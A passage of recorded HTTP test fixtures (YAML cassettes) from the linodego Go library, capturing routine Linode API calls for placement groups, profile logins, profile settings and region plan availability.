'*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-test-1721675804603477000-updated"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/placement/groups/6251 method: PUT response: body: '{"id": 6251, "label": "linodego-test-1721675804603477000-updated", "region": "us-east", "placement_group_type": "anti_affinity:local", "placement_group_policy": "flexible", "is_compliant": true, "members": [], "migrations": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "229" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/placement/groups/6251 method: GET response: body: '{"id": 6251, "label": "linodego-test-1721675804603477000-updated", "region": "us-east", "placement_group_type": "anti_affinity:local", "placement_group_policy": "flexible", "is_compliant": true, "members": [], "migrations": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "229" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"id": 6251}' url: https://api.linode.com/v4beta/placement/groups?page=1 method: GET response: body: '{"data": [{"id": 6251, "label": "linodego-test-1721675804603477000-updated", "region": "us-east", "placement_group_type": "anti_affinity:local", "placement_group_policy": "flexible", "is_compliant": true, "members": [], "migrations": null}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/placement/groups/6251 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestProfileLogins_List.yaml000066400000000000000000000111421474652371000320560ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/logins?page=1 method: GET response: body: '{"data": [{"id": 1571944101, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", "username": "ErikZilber", "status": "successful", "restricted": false}, {"id": 1571945711, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", "username": "ErikZilber", "status": "successful", "restricted": false}, {"id": 1571945752, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", "username": "ErikZilber", "status": "successful", "restricted": false}, {"id": 1571956173, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", "username": "ErikZilber", "status": "successful", "restricted": false}, {"id": 1571970960, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", "username": "ErikZilber", "status": "failed", "restricted": false}, {"id": 1571970963, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", "username": "ErikZilber", "status": "successful", "restricted": false}, {"id": 1571971001, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", "username": "ErikZilber", "status": "successful", "restricted": false}, {"id": 1572017249, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", "username": "ErikZilber", "status": "successful", "restricted": false}, {"id": 1572047784, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", "username": "ErikZilber", "status": "successful", "restricted": false}], "page": 1, "pages": 1, "results": 9}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 10 Jul 2024 18:11:09 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/logins/1571944101 method: GET response: body: '{"id": 1571944101, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", "username": "ErikZilber", "status": "successful", "restricted": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "170" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 10 Jul 2024 18:11:09 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestProfile_Get.yaml000066400000000000000000000037311474652371000305130ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile method: GET response: body: '{"uid": 6368933, "username": "ErikZilber", "email": "ezilber@akamai.com", "verified_phone_number": null, "timezone": "GMT", "email_notifications": true, "referrals": {"code": "", "url": "", "total": 0, "completed": 0, "pending": 0, "credit": 0}, "ip_whitelist_enabled": false, "lish_auth_method": "password_keys", "authorized_keys": null, "two_factor_auth": true, "restricted": false, "authentication_type": "password", "user_type": "default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "443" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 08 Nov 2024 18:15:26 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestProfile_Update.yaml000066400000000000000000000101151474652371000312100ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile method: GET response: body: '{"uid": 6368933, "username": "ErikZilber", "email": "ezilber@akamai.com", "verified_phone_number": null, "timezone": "GMT", "email_notifications": true, "referrals": {"code": "", "url": "", "total": 0, "completed": 0, "pending": 0, "credit": 0}, "ip_whitelist_enabled": false, "lish_auth_method": "password_keys", "authorized_keys": null, "two_factor_auth": true, "restricted": false, "authentication_type": "password", "user_type": "default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "443" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 08 Nov 2024 18:19:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"email":"ezilber@akamai.com","timezone":"GMT","email_notifications":true,"ip_whitelist_enabled":false,"lish_auth_method":"password_keys","authorized_keys":[],"two_factor_auth":true,"restricted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile method: PUT response: body: '{"uid": 6368933, "username": "ErikZilber", "email": "ezilber@akamai.com", "verified_phone_number": null, "timezone": "GMT", "email_notifications": true, "referrals": {"code": "", "url": "", "total": 0, "completed": 0, "pending": 0, "credit": 0}, "ip_whitelist_enabled": false, "lish_auth_method": "password_keys", "authorized_keys": null, "two_factor_auth": true, "restricted": false, "authentication_type": "password", "user_type": "default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "443" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 08 Nov 2024 18:19:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestRegionsAvailability_List.yaml000066400000000000000000001453141474652371000332540ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions/availability?page=1 method: GET response: body: '{"data": [{"region": "us-central", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "us-central", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "us-central", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "us-central", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "us-central", "plan": "g7-premium-2", "available": false}, {"region": "us-central", "plan": "g7-premium-4", "available": false}, {"region": "us-central", "plan": "g7-premium-8", "available": false}, {"region": "us-central", "plan": "g7-premium-16", "available": false}, {"region": "us-central", "plan": "g7-premium-32", "available": false}, {"region": "us-central", "plan": "g7-premium-48", "available": false}, {"region": "us-central", "plan": "g7-premium-50", "available": false}, {"region": "us-central", "plan": "g7-premium-56", "available": false}, {"region": "us-central", "plan": "g7-premium-64", "available": false}, {"region": "us-central", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "us-central", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "us-central", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "us-central", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "us-central", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "us-west", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "us-west", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "us-west", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "us-west", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "us-west", "plan": "g7-premium-2", "available": false}, {"region": "us-west", "plan": "g7-premium-4", "available": false}, {"region": "us-west", "plan": "g7-premium-8", "available": false}, {"region": "us-west", "plan": "g7-premium-16", "available": false}, {"region": "us-west", "plan": "g7-premium-32", "available": false}, {"region": "us-west", "plan": "g7-premium-48", "available": false}, {"region": "us-west", "plan": "g7-premium-50", "available": false}, {"region": "us-west", "plan": "g7-premium-56", "available": false}, {"region": "us-west", "plan": "g7-premium-64", "available": false}, {"region": "us-west", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "us-west", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "us-west", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "us-west", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "us-west", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "us-southeast", "plan": "g1-gpu-rtx6000-1", "available": true}, {"region": "us-southeast", "plan": "g1-gpu-rtx6000-2", "available": true}, {"region": "us-southeast", "plan": "g1-gpu-rtx6000-3", "available": true}, {"region": "us-southeast", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "us-southeast", "plan": "g7-premium-2", "available": false}, {"region": "us-southeast", "plan": "g7-premium-4", "available": false}, {"region": "us-southeast", "plan": "g7-premium-8", "available": false}, {"region": "us-southeast", "plan": "g7-premium-16", "available": false}, {"region": "us-southeast", "plan": "g7-premium-32", "available": false}, {"region": "us-southeast", "plan": "g7-premium-48", "available": false}, {"region": "us-southeast", "plan": "g7-premium-50", "available": false}, {"region": "us-southeast", "plan": "g7-premium-56", "available": false}, {"region": "us-southeast", "plan": "g7-premium-64", "available": false}, {"region": "us-southeast", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "us-southeast", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "us-southeast", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "us-southeast", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "us-southeast", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "us-east", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "us-east", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "us-east", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "us-east", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "us-east", "plan": "g7-premium-2", "available": false}, {"region": "us-east", "plan": "g7-premium-4", "available": false}, {"region": "us-east", "plan": "g7-premium-8", "available": false}, {"region": "us-east", "plan": "g7-premium-16", "available": false}, {"region": "us-east", "plan": "g7-premium-32", "available": false}, {"region": "us-east", "plan": "g7-premium-48", "available": false}, {"region": "us-east", "plan": "g7-premium-50", "available": false}, {"region": "us-east", "plan": "g7-premium-56", "available": false}, {"region": "us-east", "plan": "g7-premium-64", "available": false}, {"region": "us-east", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "us-east", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "us-east", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "us-east", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "us-east", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "eu-west", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "eu-west", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "eu-west", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "eu-west", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "eu-west", "plan": "g7-premium-2", "available": false}, {"region": "eu-west", "plan": "g7-premium-4", "available": false}, {"region": "eu-west", "plan": "g7-premium-8", "available": false}, {"region": "eu-west", "plan": "g7-premium-16", "available": false}, {"region": "eu-west", "plan": "g7-premium-32", "available": false}, {"region": "eu-west", "plan": "g7-premium-48", "available": false}, {"region": "eu-west", "plan": "g7-premium-50", "available": false}, {"region": "eu-west", "plan": "g7-premium-56", "available": false}, {"region": "eu-west", "plan": "g7-premium-64", "available": false}, {"region": "eu-west", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "eu-west", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "eu-west", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "eu-west", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "eu-west", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "ap-south", "plan": "g1-gpu-rtx6000-1", "available": true}, {"region": "ap-south", "plan": "g1-gpu-rtx6000-2", "available": true}, {"region": "ap-south", "plan": "g1-gpu-rtx6000-3", "available": true}, {"region": "ap-south", "plan": "g1-gpu-rtx6000-4", "available": true}, {"region": "ap-south", "plan": "g7-premium-2", "available": false}, {"region": "ap-south", "plan": "g7-premium-4", "available": false}, {"region": "ap-south", "plan": "g7-premium-8", "available": false}, {"region": "ap-south", "plan": "g7-premium-16", "available": false}, {"region": "ap-south", "plan": "g7-premium-32", "available": false}, {"region": "ap-south", "plan": "g7-premium-48", "available": false}], "page": 1, "pages": 5, "results": 486}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 14:05:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions/availability?page=2 method: GET response: body: '{"data": [{"region": "ap-south", "plan": "g7-premium-50", "available": false}, {"region": "ap-south", "plan": "g7-premium-56", "available": false}, {"region": "ap-south", "plan": "g7-premium-64", "available": false}, {"region": "ap-south", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "ap-south", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "ap-south", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "ap-south", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "ap-south", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "eu-central", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "eu-central", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "eu-central", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "eu-central", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "eu-central", "plan": "g7-premium-2", "available": false}, {"region": "eu-central", "plan": "g7-premium-4", "available": false}, {"region": "eu-central", "plan": "g7-premium-8", "available": false}, {"region": "eu-central", "plan": "g7-premium-16", "available": false}, {"region": "eu-central", "plan": "g7-premium-32", "available": false}, {"region": "eu-central", "plan": "g7-premium-48", "available": false}, {"region": "eu-central", "plan": "g7-premium-50", "available": false}, {"region": "eu-central", "plan": "g7-premium-56", "available": false}, {"region": "eu-central", "plan": "g7-premium-64", "available": false}, {"region": "eu-central", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "eu-central", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "eu-central", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "eu-central", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "eu-central", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "ap-northeast", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "ap-northeast", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "ap-northeast", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "ap-northeast", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "ap-northeast", "plan": "g7-premium-2", "available": false}, {"region": "ap-northeast", "plan": "g7-premium-4", "available": false}, {"region": "ap-northeast", "plan": "g7-premium-8", "available": false}, {"region": "ap-northeast", "plan": "g7-premium-16", "available": false}, {"region": "ap-northeast", "plan": "g7-premium-32", "available": false}, {"region": "ap-northeast", "plan": "g7-premium-48", "available": false}, {"region": "ap-northeast", "plan": "g7-premium-50", "available": false}, {"region": "ap-northeast", "plan": "g7-premium-56", "available": false}, {"region": "ap-northeast", "plan": "g7-premium-64", "available": false}, {"region": "ap-northeast", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "ap-northeast", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "ap-northeast", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "ap-northeast", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "ap-northeast", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "ap-west", "plan": "g1-gpu-rtx6000-1", "available": true}, {"region": "ap-west", "plan": "g1-gpu-rtx6000-2", "available": true}, {"region": "ap-west", "plan": "g1-gpu-rtx6000-3", "available": true}, {"region": "ap-west", "plan": "g1-gpu-rtx6000-4", "available": true}, {"region": "ap-west", "plan": "g7-premium-2", "available": false}, {"region": "ap-west", "plan": "g7-premium-4", "available": false}, {"region": "ap-west", "plan": "g7-premium-8", "available": false}, {"region": "ap-west", "plan": "g7-premium-16", "available": false}, {"region": "ap-west", "plan": "g7-premium-32", "available": false}, {"region": "ap-west", "plan": "g7-premium-48", "available": false}, {"region": "ap-west", "plan": "g7-premium-50", "available": false}, {"region": "ap-west", "plan": "g7-premium-56", "available": false}, {"region": "ap-west", "plan": "g7-premium-64", "available": false}, {"region": "ap-west", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "ap-west", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "ap-west", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "ap-west", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "ap-west", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "ca-central", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "ca-central", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "ca-central", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "ca-central", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "ca-central", "plan": "g7-premium-2", "available": false}, {"region": "ca-central", "plan": "g7-premium-4", "available": false}, {"region": "ca-central", "plan": "g7-premium-8", "available": false}, {"region": "ca-central", "plan": "g7-premium-16", "available": false}, {"region": "ca-central", "plan": "g7-premium-32", "available": false}, {"region": "ca-central", "plan": "g7-premium-48", "available": false}, {"region": "ca-central", "plan": "g7-premium-50", "available": false}, {"region": "ca-central", "plan": "g7-premium-56", "available": false}, {"region": "ca-central", "plan": "g7-premium-64", "available": false}, {"region": "ca-central", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "ca-central", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "ca-central", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "ca-central", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "ca-central", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "ap-southeast", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "ap-southeast", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "ap-southeast", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "ap-southeast", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "ap-southeast", "plan": "g7-premium-2", "available": false}, {"region": "ap-southeast", "plan": "g7-premium-4", "available": false}, {"region": "ap-southeast", "plan": "g7-premium-8", "available": false}, {"region": "ap-southeast", "plan": "g7-premium-16", "available": false}, {"region": "ap-southeast", "plan": "g7-premium-32", "available": false}, {"region": "ap-southeast", "plan": "g7-premium-48", "available": false}, {"region": "ap-southeast", "plan": "g7-premium-50", "available": false}, {"region": "ap-southeast", "plan": "g7-premium-56", "available": false}, {"region": "ap-southeast", "plan": "g7-premium-64", "available": false}, {"region": "ap-southeast", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "ap-southeast", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "ap-southeast", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "ap-southeast", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "ap-southeast", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "us-iad", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "us-iad", "plan": "g1-gpu-rtx6000-2", "available": false}], "page": 2, "pages": 5, "results": 486}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 14:05:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions/availability?page=3 method: GET response: body: '{"data": [{"region": "us-iad", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "us-iad", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "us-iad", "plan": "g7-premium-2", "available": true}, {"region": "us-iad", "plan": "g7-premium-4", "available": true}, {"region": "us-iad", "plan": "g7-premium-8", "available": true}, {"region": "us-iad", "plan": "g7-premium-16", "available": true}, {"region": "us-iad", "plan": "g7-premium-32", "available": true}, {"region": "us-iad", "plan": 